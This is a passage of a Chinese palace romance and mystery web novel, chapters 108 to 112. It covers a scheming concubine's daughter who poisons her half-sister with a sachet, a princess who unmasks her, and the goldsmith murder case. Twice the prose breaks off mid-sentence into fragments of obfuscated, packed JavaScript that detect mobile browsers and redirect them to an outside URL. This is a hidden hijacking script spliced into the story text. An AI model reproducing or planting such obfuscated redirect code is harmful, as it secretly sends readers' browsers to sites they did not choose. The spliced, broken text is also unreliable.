沈渊盯着他看了好一会儿,才从鼻子里哼笑一声,“你便摸着这巴掌印好好幸福几日,为父为你选择了成婚人选,容太尉家的嫡出三小姐。” 仿佛知道儿子会说什么,他提前将路堵死。 “为父已经任由你任性了许多年,如今你已二十二,外人都传你是断袖,为父不能再任由你胡闹下去,婚期定在明年年初。” 顿了顿他又补充。 “你若不肯拜堂,为父便用公鸡代替,这婚,你必须结。” 深渊丢下这话离去。 沈砚独自站在小厅中,背影透着落寞。 东城兵马司。 指挥使贡义面色冷沉。 “鸿发的案子传得人尽皆知,百姓们陷入恐慌,我们东城兵马司陷入指责。 若是七日内抓不到凶手,我这个指挥使的帽子怕是也要掉!” 听出话中有指责的意思,姬南萱丝毫不惯着。 “鸿发的案子一直是我们东城兵马司受理,如今案子走漏风声,肯定是衙内出了奸细。” 衙内出了奸细当然是他这个指挥使监管不利。 贡义脸色难看,却并未发怒,而是平心静气的说道:“本官会查明奸细。” 站在姬南萱身后的叶冀悄悄在心中竖起大拇指。 这种话也有姬南萱敢说,若是他这种毫无背景的小人物来说,今日就会被赶出兵马司。 随后贡义严肃命令姬南萱。 “缉拿凶手的任务本官交到你们二人手上,七日时限,别让本官失望。” 姬南萱无奈应下。 等姬南萱和叶冀离开,贡义便离开衙门前往公主府。 凶案泄露,影响最大的是怀宁公主,据说那‘金福来’一夜之间门可罗雀。 贡义担心被怪罪,所以提前去公主府领罪。 贡义刚走出兵马司,便听见沉闷的鼓声。 只见衙门大门口站着个衣衫褴褛的白发老人,猎猎寒风中,老人单薄的身影形销骨立,虚弱到像是随时会倒地死去。 可那棒槌却握的牢固,敲击鼓面的力道遒劲有力。 看见贡义从里头出来,老人重重跪下。 “我儿是保护汴州城池的英雄! 颜氏族人夺我儿军功! 害我儿性命! 苍天大老爷! 求您为我儿平冤屈!!!” 贡义烦躁的蹙眉,斥责手下。 “干什么吃的?还不将人赶走!” 两个小官兵上前,强行将老人拖走。 贡义一边朝前走一边在心中抱怨。 命案泄露便罢了,这老疯子也上来触霉头,最近怕是犯了小人。 等鸿发的案子了结,定要去法坨寺上柱香,请求佛祖怜悯怜悯他这个苦命人! 贡义弯腰进入马车时,两个官兵将老人丢在了马路中央,路人瞧见老人后连连摇头叹气。 “十多年前还只是偶尔说说胡话,如今是越老越疯了。” “可不是,我听说他根本没儿子。” “怕是没后气疯了,又瞧见人家颜大将军英勇无匹,便生了嫉妒之心。” “听说这次的胜仗是颜大将军力挽狂澜,不愧是颜家军。” “颜家军快要回城了,届时我要去城门口迎接,一睹颜将军的风姿!” …… 路人的话题越来越偏,身影也越走越远。 冰冷凄凉的马路上,只有老疯子一人坐在地上。 老疯子笨拙的从地上站起来,仰头看向天空的太阳,眼中的悲伤和愧疚浓到化不开,可眼底却干涸,没有半分泪水。 他的眼泪早已流干。 贡义听见脚步声赶紧站起来,朝着进来的身影行礼。 “微臣拜见公主!” 乔楹月坐下后开口:“免礼,贡大人请坐。” 贡义战战兢兢坐下,只敢坐半个屁股,他陪着笑说道:“微臣今日前来是为了领罪,东城兵马司失职,让公主蒙受损失……微臣愿意承担公主的损失!” 这笔损失可不小。 贡义那俸禄可不够赔。 乔楹月笑道:“你确实有罪,但本宫不打算与你计较。” 贡义没想到自己会被放过,感激的差点跪下谢恩。 乔楹月淡淡说道:“将那凶手的画像给本宫瞧瞧。” 凶手迟迟不归案,‘金福来’的局面只会更麻烦。 乔楹月打算让林酒暗中帮忙捉凶。 贡义立刻让人回兵马司取画像,他亲手捧到乔楹月面前。 “公主请看。” 第一百零八章凶手画像 乔楹月摊开画像。 上面画着个面具遮脸的男人,面具覆盖至眼睑之下,只露出一双眼睛。 是一双杏仁眼,放在男人脸上显得十分秀气,眉毛也很秀气。 和乔楹月心中所想的穷凶极恶之徒完全不一样。 而且仔细瞧一会儿,心中便有一股熟悉感。 好像在什么地方见过。 仔细回想自己见过的男人,没有任何线索。 “如今已经查清死者的名字,死者叫康天水,四十八岁,一个月前从大通县而来。 文牒上面记录了他的来意,他在老家有个漂亮的妻子,妻子与野男人私奔,他为了寻妻变卖了家当,遍寻无果后来盛京投靠亲戚。 鸿发是康天水的表亲,康天水刚刚投靠他就被杀害。 按照眼下查到的线索,微臣大胆的推断,和康天水妻子私奔的野男人就是鸿发,康天水寻到盛京以后鸿发担心事情败露,便杀人灭口。” 这番推测有些道理,却又毫无道理。 倘若真是杀人灭口,应当连夜毁尸灭迹才对,不可能任由康天水的尸首就这么躺在铺子里。 康天水在盛京城内开了金铺,生意十分不错,若非无可奈何,他也不可能干出杀人逃往的事儿。 或许,这一切的谜团和康天水的妻子有瓜葛。 “贡大人可有康天水妻子的画像?” 倘若康天水的死真是因为情杀,那么和鸿发一起逃亡的应当还有他的妻子。 所以,康天水的妻子也是追捕逃犯的关键。 而贡义却一直未曾想到这一点。 他身为东城兵马司的指挥使,却连这么浅显的问题都想不到,还被一个毫无查案经验的小姑娘提了出来,实在丢人。 贡义面红耳赤的回道:“正在派画师画,画像出来以后定第一个献给公主!” 贡义离开公主府以后,立刻派人前往大通县画康天水妻子的画像,同时顺带查清楚康天水妻子的底细。 在这两日里,姬南萱缉凶的同时不忘接收八卦。 听到那个八卦后,她暂且放下毫无进展的案子,急匆匆去见了乔楹月。 “公主!沈砚和容明月即将定亲!” 乔楹月端茶的手一顿,抬眼问她:“当真?” 姬南萱有些不确定,“我不是很确定,不过我听说他们明日再法坨寺见面,如果顺利的话,春节后便会举办婚礼。” “哦,”乔楹月慢悠悠品了一口茶,对此没有任何表示。 姬南萱疑惑,公主为何一点儿反应都没有?难道是她猜错了?公主对沈砚没有任何男女之情? 可是公主看沈砚的眼神明明不同,应该是有些特殊才是。 “公主不去阻止吗?” 乔楹月毫不在意的道:“不必。” 姬南萱却松了一口气。 沈砚和公主明显有缘无分,如今公主不在意,也就不会因此伤心了。 次日清晨。 容明月穿上刚做的新衣站在铜镜前打量自己。 粉色特别衬她的肤色,精致的妆容让她的容颜明艳俏丽。 她对自己这一身十分满意。 正要出门乘坐马车,门外忽然走进来一道身影。 瞧清进来的是自己那阴险的庶姐,容明月的脸色冷了下去。 “你过来干什么?这儿不欢迎你!” 熟料这位庶姐抬脸之际竟是满脸的泪水,小鹿般的眸中充满了愧疚。 “上次是姐姐糊涂,险些让妹妹得了个飞扬跋扈的坏名声,姐姐错了。” 这件事儿一直让容明月气到现在,如今容旖纾道歉,她那口气消了一些,又看见那些眼泪,她反倒有些不自在起来。 “罢了,只要你能认识到自己的错误,我便不怪你了。我要出门了,你回去吧。” 容旖纾去依旧伤心哭泣着:“妹妹还是不肯原谅我,原本妹妹在这府中对我最好,我却让妹妹伤心,我没有母亲,如今连妹妹也不想理我,我活着也没什么意思。” 听出话音不对,容明月愣神之际,便见庶姐朝着墙上撞去。 她唬了一跳,赶紧上前将人拦住。 瞧见庶姐的可怜模样,她不仅气消了,反倒开始关心庶姐的情绪来。 “我真的不生气了,往后我们还是像从前那般来往,你可莫要做傻事。” 容旖纾抹泪,转身从春桃手中取过托盘。 “这是姐姐连夜缝制的香囊,妹妹若是收下便是真的不生姐姐的气了,若不收……” 若她不收她就还是要去死。 容明月为表诚心,接了香囊,并当着容旖纾的面,将香囊挂在了腰上。 “这下姐姐可放心了?” 容旖纾破涕为笑,“好妹妹,快出门吧!” 容明月心情不错的同母亲一道出门,母女二人乘坐容府的马车前往法坨寺。 然而她不知道的是,容旖纾前脚同她分开,后脚便换了身淡雅的衣裳,乘坐马车,也前往了法坨寺。 法坨寺中。 苏眉领着自己那操心的儿子,和太尉夫人碰了面。 太尉夫人姓唐,名叫毓秀,是个温婉智慧的女子。 两人一番寒暄便切入正题。 “听说这法坨寺的腊梅开了,风景十分漂亮,明月擅长画画,等会儿我们便一道去看腊梅,让明月好好画意幅。” 容明月站在母亲身边,有高大英俊的沈砚站在面前,她收敛了身上的骄纵,一脸乖巧。 “伯母气质高洁,若是能和腊梅一起入画,实在是明月的荣幸。” 苏眉本就喜欢容明月这孩子,见她嘴甜就更喜欢了,她上前和唐毓秀走在一处,故意将两个年轻人丢在后面,好让两人有单独相处的机会。 容明月走在沈砚的身边,微风拂面,她隐约闻到男人身上的冷香,心情又激动又紧张。 沈砚是这盛京最好的男子,她以为这样的男人不可能轮得到自己,没想到竟然运气这么好,真让她摊上了! “沈公子,小女……” 她本想在沈砚面前表现自己的乖巧嘴甜,然而话才起了个头,竟然忍不住放了个屁。 还好沈砚的表情没有异常。 不过容明月是不敢再说话了,她感觉自己的肚子有些不舒服。 到了客院,苏眉拉住容明月的手,想好好与她说说话,没想到刚将人拉到身边,就听到一连串屁声。 臭味儿在尴尬的气氛中大肆弥漫。 苏眉忍着没有变脸,沈砚的表情也没有任何变化。 但容明月的脸还是丢光了! 第一百零九章丢尽脸面 唐毓秀赶紧将女儿拉到面前,正要询问她是不是身子不舒服,便听到一声惊呼。 众人往院外看去,便见两个小沙弥正将一个少女扶起来。 少女衣着单薄,素雅的颜色衬得小脸素白,展现出了别样的清雅之美。 只见少女摔在地上,膝盖渗出血迹,她却完全顾不上,只是一心守护手中的莲花灯。 这莲花灯是为逝者所点的长明灯。 苏眉认出少女是容旖纾,立刻猜到这长明灯是为谁而点。 容旖纾的母亲在她出生时难产死去,她因此背上克亲的名声,被容太尉送到了乡下。 如今这孩子好不容易回来,日子稍微好过一些便来到寺庙为已逝的母亲点长明灯。 真是个孝顺的孩子。 苏眉主动开口唤了容旖纾的名字。 “旖纾。” 容旖纾扭头,微风吹乱她的头发,她轻轻抬手拨开秀发,干净的脸上露出惊喜的笑来。 “伯母!” 她看向沈砚,神色矜持:“砚哥哥。” 随后她将莲花灯交给沙弥,想进来行礼,却又在看见一旁的容家母女后神色惨白的往后退了两步。 像是想到什么痛苦的事儿,她的脸色白的像纸,最终鼓足勇气走进来,站在了苏眉的面前。 “旖纾见过伯母,旖纾见过砚哥哥。” 沈砚瞧着她这番做作的姿态,连环屁都没崩变的脸色瞬间冷了下去。 苏眉半点看不出其中的刻意,一心怜悯这孩子性子坚韧。 若非是个庶出,她真想让着孩子做儿媳。 她温柔的问容旖纾:“你是来为你母亲点长明灯的?” 容旖纾点头:“是的。” “真是个孝顺的孩子。” 而这话听在唐毓秀耳中却十分刺耳。 当初她在那卑贱的姨娘手底下吃了许多闷亏,若非她难产死了,怕是这太尉夫人的位置都能被她抢去。 正是对那姨娘痛恨至极,她才任由婆婆将刚出生的容旖纾送到乡下。 如今容旖纾回来了,那些手段比之她母亲更甚。 这长明灯她早不点晚不点,非要在她的女儿和未来夫婿相看的日子里点。 她那点小心思瞒得住别人可瞒不住她! 眼下苏眉夸赞容旖纾孝顺,她只想在心中冷笑。 苏眉十分通透的一个人,竟也着了这丫头的道! 容明月刚才出了丑,瞧苏眉的模样,怕是恨不得容旖纾做她的儿媳。 倘若苏眉真的选择容旖纾做儿媳,唐毓秀往后的日子不会好过。 念及此,唐毓秀心中有些烦躁,可她失了先机,这会儿说什么都像残害妾室孩子的恶毒主母。 容明月心中没有母亲那么多弯弯绕绕,但她看得出容旖纾得苏眉喜欢,而且容旖纾除了身份是庶出,这会儿的行为举止比她更像嫡出。 容明月难得自卑了起来,抿着嘴唇低下头,快哭了。 看见那对母女憋屈的模样,容旖纾心中生出得意。 便在此时,院外响起一道恭敬的声音。 “公主,梅园就在前方。” 敏感的字眼顿时让院内的几人看向院外。 只见少女身影高贵的站在外头,身边跟着俊俏的宋鹤柳,这会儿宋鹤柳小心的扶着她的手腕,生怕她跌倒。 堂堂公主有侍女不用,却让一个外男搀扶,简直没有半点礼义廉耻。苏眉心中的不喜达到了极致。 但再是不喜,还是要上前行礼。 一行人上前朝乔楹月行礼。 沈砚落在最后,“微臣拜见公主。” 乔楹月面露惊讶,似是这会儿才看见这些人,她丢开宋鹤柳的手,让大家起身。 “竟在此处遇见了这么多熟人,可真是巧了。” 这话虽然是对着大家说的,可她的眼睛却直勾勾落在沈砚身上。 沈砚心底的火气忽然消失。 知儿莫若母。苏眉敏锐发现儿子的细微变化,想到儿子二十二了还不成亲的原因,怒火就顶上了脑门。 容旖纾忽然说话:“公主今日可是前来为阮贵太妃点长明灯的?” 乔楹月淡淡道:“容小姐今日前来是专程为自己母亲点长明灯?” 容旖纾恭敬点头,随后再次提起阮贵太妃:“早前听闻公主连阮贵太妃的忌日都忘了祭拜,甚至在府上饮酒作乐,如今公主既然来了法坨寺,也该为阮贵太妃点一盏长明灯才是。” 她的表情诚恳极了,让人一下就能明白她的苦心。 当初阮贵太妃在世时,对乔楹月这个女儿极为宠爱。 如今乔楹月的种种行为实在不孝。 苏眉在心中附和。 旖纾所言极是。 从前公主年纪小,贪玩错过忌日,如今年纪可不小了,应该为阮贵太妃尽孝。 唐毓秀也暗暗皱眉,容旖纾虽然狠毒,但孝心却是有的,这位怀宁公主简直毫无可取之处。 乔楹月正要说话,一直没说话的沈砚忽然开口。 “公主早些年便在寺中为阮贵太妃供奉了长明灯,每月还会拿出几日亲自为阮贵太妃守护长明灯。” 能做到这地步,必是极有孝心之人。 苏眉很是意外。 唐毓秀微愣后看向面色尴尬的容旖纾,总觉得哪儿不对。 便在此时,一连串响亮的屁声打破了宁静的气氛。 容明月脸色通红,眼泪‘唰’的掉下来。 见大家都看着自己,她哭着说道:“我的身体平时很好的,今日不知道怎么了。” 可身体好又怎会发生这么多尴尬的事儿。 放屁不是什么大病,但得了这种病,绝对当不得沈家的儿媳。 苏眉笑着哄容明月,说没事,可脸上的表情分明淡了许多。 容旖纾心中得意,看来她的计划成了! 乔楹月的目光扫过容旖纾的脸,忽然问容明月,“你身上的香囊很是漂亮,是你自己做的吗?” 容明月以为乔楹月在帮自己解围,感激的回道:“是二姐今早送我的。” 乔楹月故作不经意的说道:“你平时端庄知礼,今日却频频失礼,怕是这香囊克你呢。” 一句话点在了容明月的脑子上。 她脸色大变。 唐毓秀比女儿反应更快,利索的将香囊取下来,当着大家的面儿将香囊扯开。 第一百一十章香囊有毒 唐毓秀看不出个名堂,想到宋鹤柳的身份,立刻将香囊递过去。 “送大夫快帮忙瞧一瞧,这香囊里头可有古怪?” 宋鹤柳仔细查看后告知。 “这香囊里头的几味香料本身都没问题,但这几味放在一起便会产生微毒,会令人肠胃不适。” 容明月不可置信的问容旖纾:“姐姐可知道这香料有问题?” 废话。 容旖纾当然知道,这香料可是她精心制作。 可这事儿不光彩,一旦被当面揭穿,她苦心经营的形象便会破碎。 “什么?香料竟然有问题?!” 容旖纾瞪大眼睛,一脸无辜的流下眼泪。 “这个香料是我照着乡下的老方法制作,没想到竟然有毒,是我该死,是我差点害得妹妹中毒,求母亲责罚!” 少女愧疚得恨不得当场死去。 苏眉刚升起的一丝不喜立刻消散,觉得这孩子也是可怜,若是自小生在盛京,也不至于连香料都不懂。 不过这事儿是容府家事,是否责罚她无权插手,全看唐毓秀的心情。 唐毓秀最懂容旖纾的无耻,但她也清楚,她若真的狠狠责罚了容旖纾,她这恶毒主母的名声就得刻在身上。 眼下必须展现大度,剩下的,等回府再说! “罢了,你也不是有意,不怪你。” 容明月不明白母亲的考量,见容旖纾这么轻易就被放过,急的流眼泪。 “娘,她可不像看起来这么无辜,我敢肯定,她肯定知道香料有问题,她是故意让我出丑!” 唐毓秀还未来得及说话,容旖纾便跪在了她的面前。 “母亲,怪只怪我生在乡下,不懂香料,一片好心办了坏事,妹妹气我也是应该,我在这里给妹妹认错!” 这副模样在外人看来正是恶毒主母欺负可怜庶女。 门口的几个小沙弥忍不住议论。 “这位容小姐太可怜了。” “传言太尉夫人心狠手辣,如今一见,果真如此。” …… 唐毓秀皮笑肉不笑的扶容旖纾起身。 “你这孩子,你妹妹被毒折磨得颜面尽失,有些情绪也正常,倒是你,当众这样下跪,显得我这个母亲极其刻薄。” 容旖纾仿佛听不出来话中带刺,兀自擦着眼泪。 苏眉心疼这孩子,主动拉容旖纾起来, “旖纾虽是庶女,却知书达理孝顺乖巧,砚儿,你瞧清楚些,像这样的女子才能做我们家的儿媳。” 话外之音,是告诉沈砚,他肖想的女子不如容旖纾半分。 乔楹月撇了沈砚一眼,轻笑开口:“本宫便不打扰诸位雅兴,告辞。” 乔楹月转身离开,宋鹤柳快步跟了上去。 走出了客院,宋鹤柳看着公主清冷的侧脸,隐约察觉到藏在这幅冷静外表下的火气。 他仔细思索一番,有些明白了公主生气的原因。 公主对沈大人有情。 幽香扑鼻,腊梅园到了。 乔楹月扯了一根枝条低头轻嗅,心头的烦躁淡了许多。 便听到宋鹤柳低声说话。 “公主忽然让微臣陪同前往法坨寺,是故意气沈大人的吧?” 手指松开枝条,乔楹月没言语。 宋鹤柳苦笑:“公主喜欢沈大人。” 乔楹月低斥:“不许胡说。” 依照公主的性子,若当真不喜欢,只会以冷淡回应。 可眼下却一副恼羞成怒的模样。 看来公主真的喜欢沈大人。 宋鹤柳心中发涩,却又觉得自己的情绪很可笑。 他这样的身份地位没法跟沈大人比,他没资格吃醋。 一片腊梅缓缓落在乔楹月头发上。 “公主别动。” 宋鹤柳弯腰,伸手摘掉了梅花,并未丢弃,而是顺手藏进袖子里。 远处。 沈砚看着梅园中的两道身影,男人身材颀长,女子娇小俏丽。 一阵风拂过,似乎情到浓时,男人忍不住弯腰靠近女子。 高大的身子将女子的身形完全笼罩,像是在忘情的拥吻。 沈砚脸色发白,一拳打在树上,枝干应声倒地。 乔楹月闻声扭头,只来得及瞧见一片熟悉的衣角。 天寒地冻,在梅园待了一会儿便冷的受不了。 乔楹月拢着衣裳回到休息的客院。 巧的是,客院紧张,她和沈砚在一个院子。 乔楹月走进去时,正巧看见苏眉和唐毓秀在院内说话,瞧见她进来,唐毓秀快步朝她走来,苏眉则当做没看见,转身回屋了。 “方才的事儿多谢公主出手!” 唐毓秀很聪明,回头稍微一想便明白乔楹月是故意帮她揭穿容旖纾,这也就意味着有第二个人知道容旖纾不是好东西。 这种讨厌的人终于被别人讨厌了的心情实在过瘾! “今日是臣妇欠了公主的人情,往后公主有什么用得上臣妇的地方,公主只管开口,臣妇绝对不会推辞!” 乔楹月知道唐毓秀在朝自己示好,她很乐意与她结交。 “容夫人可要说话算话,本宫可不是客套之人。” “哈哈哈,公主放心,臣妇也不是那虚与委蛇之人!” “容小姐好些了吗?” “香囊取下来后就好多了,只是还有些抹不开面子,这会儿待在屋里不肯出来,不过她的性子臣妇了解,过上几日就好了。” “容小姐性子太过单纯,往后要多注意。” “多谢公主提点!” 说话告一段落,唐毓秀适时告辞。 乔楹月转身朝着自己的客房走去,身旁却忽然伸出一只手,将她拽进了屋内。 屋门轰然关闭,她的后背贴在门上,双臂被人举到头顶,整个人被禁锢在霸道的怀抱之中。 乔楹月抬眼看着面前气急败坏的男人,身后传来轻轻的敲门声。 “扣扣扣。” 没得到回答,外面的人出声轻唤。 “砚儿,是娘。” 门外站着的是苏眉。 而门内的沈砚俊脸带火,强行将乔楹月困在怀中。 若是这一幕被苏眉看见,不知道会被气成什么样子。 乔楹月朝沈砚挑眉,用气声提醒他。 “你娘在外面。” 是提醒他松手,省得等会儿场面难看。 可沈砚不知道被哪个字激怒,忽然低头吻在她唇上。 由于动作太粗暴,乔楹月的后背撞在门扇上,门扇被震的直颤。 第一百一十一章情绪失控 苏眉看着晃动的门扇,莫名想到了乔楹月,心立刻一紧。 “砚儿?你在做什么?” 屋内,乔楹月被吻得呼吸急促,她狠狠咬在沈砚唇上,这才逼退了这个疯狂的男人。 她用双手撑着他的胸膛,目光愤怒的盯着他,用眼神提醒着两人的身份。 她是公主,他是臣子,眼下的一切都太过放肆。 可沈砚却无惧她的眼神,不仅没有恢复臣子的恭敬,反而带着挑衅的在她唇上亲了一下。 呵。 以为门外有人她就会忍气吞声? 乔楹月冷冷一笑,忽然转身拉开了门。 苏眉见里头半晌没回应,举起手准备再次敲门,她的手刚举起来,门便开了。 只是开门的不是她的儿子,而是她最讨厌的乔楹月。 看着脸色从错愕到震惊,又从震惊变成愤怒的美妇人,乔楹月唇边扬起明媚的笑意。 “好巧啊,沈夫人。” 苏眉看着眼前的小姑娘,白皙的脸庞泛着红晕,一双眸子透着水雾般的迷离,饱满的唇有些红肿。 这幅样子出现在沈砚的屋子里,可想而知刚才里头肯定发生了极其不规矩的事儿。 而这小姑娘不仅没有丑事被撞破的尴尬,反而跟她道‘好巧’,这是一点儿脸皮也不要了! 苏眉抬眼看向屋内,只见自己的儿子衣襟微乱,下唇破了个口子。 她立刻猜到,刚才自己的儿子和乔楹月在里头亲吻,乔楹月太放荡,还咬伤了儿子的嘴唇! 苏眉气的心口疼,然而还没等她说话,乔楹月已经甩下她走了。 扬长而去的背影充满了对她的蔑视。 她捂着胸口缓声问沈砚:“容家嫡出二小姐,和庶出三小姐,你二选一,若你不选,母亲便做主替你选一个!” 沈砚冷淡说道:“母亲能发现的事儿容家也会发现,您怕是没得选。” 沈砚是优秀,但二十二岁还不成亲,盛京本就有许多流言蜚语。 如今他和乔楹月的关系不清不楚,哪个好人家敢把女儿嫁给他。 从前苏眉能从盛京城内任意的人家挑选儿媳,而现在,门当户对的人家怕是不好挑了。 而门不当户不对的,她瞧不上。 苏眉气的眼前发黑。 乔楹月回到自己的房内,刚坐下,便听到敲门声。 红豆上前开了门,容明月自来熟的走了进来。 她来到乔楹月的面前,不等她说话便在她面前的位置坐下,一开口便是惊雷。 “刚才沈公子将公主拽进屋中,臣女瞧见了!” 乔楹月看着小姑娘澄澈的眼眸,笑盈盈反问:“然后呢?” 容明月的脸上浮现促狭的笑,“看来盛京的传言是真的,公主看上了沈大人。” 乔楹月挑眉:“为何不是他看上本宫?” 容明月认真说道:“沈大人性子清冷,若非公主撩拨不可能动情至此。” 这是个天大的误会。 乔楹月还真没撩拨沈砚,他纯粹是自己骚。 不过容明月这性子是真单纯,这种话也敢当她的面说,半点不怕她生气。 转念想想,容明月说话只有表面意思,没那么多弯弯绕绕。 跟这样的人相处很轻松,不会累,也挺不错。 而且她虽然对沈砚有些好感,这会儿在她面前却没有半点不高兴,不知道这小姑娘心里在想些什么。 “那你呢?对沈砚可有好感?” 跟性子单纯直爽的人,她也直来直往。 容明月脸上浮现几分不好意思,“一开始确实有好感的,但后来就没了。” 乔楹月好奇:“为何?” “因为他对臣女没有好感,臣女虽然不聪明,却也不是那愚钝至极的人,臣女瞧得明白,也看得开。” 倒是很通透。 乔楹月有些喜欢容明月的性子。 便听容明月认真的开口:“沈公子确实是个不错的人,公主能看上他臣女一点儿也不奇怪,公主也是非常优秀非常好的人,是沈公子占了便宜。” 这番话让乔楹月很是意外。 这盛京城内,只要将她和沈砚一起提及,话里话外总是她痴心妄想,好像她是癞**,沈砚是天鹅。 而容明月却觉得她很优秀,是个好人。 乔楹月对这个小姑娘的好感又多了一些。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328243|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你叫明月,本宫叫楹月,很巧呢。” “因为臣女和公主都是像月亮一样干净美好的人。” “本宫第一次得到这么多赞美。” “看来世人皆是表面聪明,暗地里糊涂至极!” 乔楹月脸上浮起由衷的笑。 容明月被她的笑颜晃了神,回神后她信誓旦旦的说道:“公主是臣女的朋友,臣女对朋友向来是两肋插刀,公主,臣女一定会全力帮您抱得美男归!” 乔楹月被逗得大笑。 乔楹月并未在法坨寺多待,下午便启程回城。 因为凶案的影响,‘金福来’的生意十分冷清。 何掌柜很着急,和终斩玉商量,让她研发新工艺,以此来吸引顾客。 终斩玉在黄金的打造工艺上十分有想法,她废寝忘食的画出自己的想法,最后想到了一个全新的工艺。 她立即行动,用乔楹月给出的花样子,加上这新工艺,打造了一只发簪。 何掌柜看了连连惊叹,并笃定此工艺定能大卖。 何掌柜不想抢了终斩玉的功劳,让她独自带着簪子前往公主府。 走进公主府时,终斩玉那张充满英气的脸上忍不住露出兴奋。 她跟随红豆快步走进小厅,不一会儿乔楹月便袅袅婷婷的走了进来。 “民女拜见公主!” 乔楹月上前将她扶起,为她赐座,瞧见她面带喜色,猜到是黄金工艺上有好消息。 看见桌上放着个漂亮的锦盒,猜到里头是终斩玉的献宝,便笑着打开盒子。 看见簪子的瞬间,她也被惊艳了。 “阿玉,你立功了,等铺子的难关过去,本宫给你涨月例。” 终斩玉高兴又腼腆的道谢。 便在这时,红豆走进来,将一副画像交给乔楹月。 “公主,这是贡大人派人递来的。” 肯定是康天水那漂亮妻子的画像。 乔楹月迫不及待的打开画像,看向画中的女子。 只见这画中的女子目视前方盈盈的笑着,透着英气的脸庞有着非同寻常的气质,十分耐看。 这张脸,和面前的终斩玉一模一样! 第一百一十二章凶案内情 乔楹月不动声色的重新卷起画像,交给红豆。 “收起来吧。” 红豆接过画像离开。 终斩玉的目光追着画像,眼底看不出情绪。 在终斩玉离开以后,乔楹月吩咐林酒暗中盯着她,随后她出门前往东城兵马司。 到衙门时贡义正在对手下发脾气,这倒霉手下正是负责鸿升案子的姬南萱和叶冀。 这会儿两人低着头,用头顶迎接飞洒而来的口水。 乔楹月的到来中断了这场口水攻击,贡义恭敬的朝她迎来。 背对着他的姬南萱悄悄拿出帕子擦脸上的口水,叶冀没有帕子,便用袖子擦。 “公主大驾光临,微臣倍感荣幸!” 先前贡义训斥姬南萱和叶冀时官威足的很,这会儿在乔楹月的面前就开始点头哈腰了。 姬南萱最讨厌这种势力小人,无奈此人是她顶头上司,万一闹出矛盾,外人指定说她仗势欺人,遂在贡义面前一直很克制。 而眼下她在贡义的背后,她无需克制。 于是贡义说一句,她就极小声的阴阳怪气的学一句。 “公主此番前来肯定是为了鸿升的案子。” “唉,微臣这衙内的下属啊,不好管,微臣不得不留下来处理事情,若非如此,微臣肯定亲自将画像送到公主手中。” “椅子上有灰,微臣擦干净了!” “这茶有些烫,公主小心些!” “噗嗤……” 乔楹月一抬眼便能看见姬南萱挤眉弄眼,憋不住笑出声。 贡义一脸莫名的问道:“何事让公主这么高兴?” 乔楹月不敢继续看姬南萱,快速收回目光,一本正经的说道:“本宫看了康天水妻子的画像,对他的妻子很是好奇,不知贡大人可查了此人的详细情况。” 贡义顿时感到庆幸,还好当时让人查了,否则这会儿又会被问住。 “微臣查过了,她叫王翠花,今年二十四,十八岁嫁给康天水,婚后因为好吃懒做经常和康天水争吵,连康天水的母亲都被她气死。 她和鸿升相识的事儿微臣还未查到,不过微臣猜也能猜到,定是王翠花耐不住寂寞,悄悄勾搭鸿升,抛弃了糟糠丈夫与鸿升私奔。 这个王翠花,罪大恶极,待微臣抓住她,定要让她游街示众!” 男人和女人有了**,就一定是女人**勾引,这样的想法似乎已经根深蒂固。 可男人哪儿有那么单纯,无非是明知故犯,顺势而为,占尽便宜…… 王翠花到底是不是终斩玉,还需要查实。 倘若她们真的是一个人,乔楹月笃定,贡义查到的的消息肯定不是实情。 终斩玉绝对不是好吃懒做**肤浅之人。 回到公主府以后,乔楹月又吩咐林酒前往大通县核查王翠花的事儿。 林酒的动作很快,才两日便带来了王翠花的消息。 和贡义所说,完全相反。 王翠花十八岁嫁给大自己二十一岁的康天水,婚后一边挣钱养家,一边孝敬公婆。 而康天水不仅好吃懒做,还经常打王翠花,婆婆看不下去劝架,竟被喝醉的康天水推倒,脑袋在地上磕了一个血洞,血尽而亡。 康天水和大通县的县令有勾结,因此弑母后依旧逍遥法外。 另外林酒还查到一件事儿。 康天水在大通县上经常做强抢民女的事儿,一年前他将一名****。 此事发生后,王翠花便下落不明。 一个月前,大通换了新的县令,严查了这些年挤压的各种案子,康天水面临斩首之刑,他连夜跑路,来到了盛京,找到了鸿升,**害。 将这些事儿在心中理清楚了,乔楹月大致猜到王翠花逃离康天水后去了哪儿。 鸿升金铺正是一年前开张。 王翠花在逃离康天水的魔爪以后来了盛京,为了避开彻底和康天水划清界限,她乔装成男人,戴上了面具,化名鸿升。 没想到康天水还是找到了她。 王翠花杀了康天水,化名终斩玉,以金匠的身份,重新回到了她的店铺之中。 若要乔楹月来判案,终斩玉不仅无罪,还是除恶的功臣。 甚至那康天水死的还是太舒服了,他应该被处以千刀万剐之刑! 乔楹月将胸中的浊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328244|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气吐出来,起身去了‘金福来’。 店内没有客人,乔楹月穿过冷清的大堂,从后门进去后堂。 后堂中有些乱,但乱中有序。 终斩玉穿着利落的坐在里头,正专心致志的打磨着一个金镯。 听到脚步声进来,她抬头看过来,明亮的眼眸中泛着清澈的波光。 她缓缓放下金镯,笑盈盈说道:“公主终于来了。” 乔楹月顿了顿,低声道:“本宫想听你说。” “好啊,”终斩玉面色平静的说起了往事。 十八岁之前的记忆终斩玉没有半点印象,而十八岁的记忆便是从和康天水简陋的婚礼开始的。 